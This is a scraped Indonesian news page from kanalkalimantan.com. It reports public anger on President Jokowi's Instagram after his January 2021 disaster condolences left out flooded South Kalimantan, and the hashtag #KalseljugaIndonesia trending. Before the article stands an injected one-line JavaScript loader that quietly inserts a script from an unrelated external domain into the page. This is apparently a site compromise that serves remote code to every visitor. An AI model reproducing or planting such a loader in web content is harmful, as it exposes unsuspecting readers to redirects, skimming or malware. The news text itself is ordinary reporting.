(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: NASIONAL

Warganet Marah, Akun IG Presiden Jokowi ‘Dibanjiri’ Protes!


KANALKALIMANTAN.COM, BANJARBARU – Akun resmi instagram Presiden RI Joko Widodo tiba-tiba diserang warganet. Nitizen marah, lantaran Presiden hanya mengucapkan duka cita ke dua provinsi yang sedang dilanda bencana alam, Jumat (15/1/2021). Sementara warga Kalsel yang sudah berjibaku dengan banjir beberapa hari terakhir tak dihiraukan.

Dalam pernyataannya, Presiden Jokowi hanya menyebut Majene, Sulawesi Barat (Sulbar) dengan bencana gempa bumi berkekuatan 6,2 magnitudo dan Sumedang, Jawa Barat (Jabar) dengan bencana longsor.

“Atas nama pemerintah dan seluruh rakyat Indonesia saya menyampaikan dukacita yang mendalam atas korban yang meninggal dunia. Semoga segenap keluarga yang ditinggalkan diberinya kesabaran,” tulisnya @jokowi.

Hingga kini, unggahan tersebut telah disukai lebih dari 499.674 orang. Ribuan komentar memenuhi akun itu, dengan berbagai tanggapan.

Seperti diketahui, hujan membuat banjir sejumlah kabupaten/kota di Kalsel sejak beberapa hari lalu. Bahkan, beberapa ada yang telah dievakuasi untuk mengungsi sementara.

“Pak Kalimantan Selatan sedang tidak baik-baik saja dikarenakan hujan yg tidak berhenti menyebabkan banjir parah #prayforkalsel,” ungkap @shofasalsabela.

“Tolong pak di kalimantan selatan sedang banjir bandang hampir di seluruh kabupaten,” ucap @almiramiira.
“PAKDE APAKAH KALIMANTAN SELATAN TIDAK MASUK DLAMA PETA INDONESIA,” tanya @ampoen_zahid.

“Kalsel juga lagi banjir besar pak. Tolong jg diperhatikan dsini msh butuh bantuan utk evakuasi krna kurang memadai. Bnyk balita dan lansia yang membutuhkan popok bayi dan popok dewasa serta susu dan tenda2 darurat pak,” cetus @normasratucitra.

“Kalimantan selatan juga kena musibah pak jokowi,” al_ghifari777.

 

Dipicu pernyataan Presiden Joko Widodo pada Jumat (15/1/20211), terkait beberapa bencana alam di tanah air yang terjadi pekan ini tagar #KalseljugaIndonesia kini puncaki trending topiv twitter.

Sebelumnya, Jokowi menyampaikan belasungkawa terhadap keluarga korban gempa bumi di Majene dan Mamuju, Provinsi Sulawesi Barat, dan korban longsor di Sumedang, Jawa Barat, Jumat (15/1/2021). Presiden meminta jajarannya bertindak cepat membantu penanganan dampak bencana alam.

Hal ini memicu protes warganet melalui jejaring sosial Twitter, hingga petang tagar #KalseljugaIndonesia sudah mencapai 153 ribu tweet.

Bahkan tidak sedikit warga asing dan tidak terkecuali para artis Korsel pun ikut meramaikan tagar #KalseljugaIndonesia dan mengirimkan doa bagi warga Kalimantan Selatan. (kanalkalimantan.com/andy)

 

Reporter : Andy
Editor : Cell

 

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.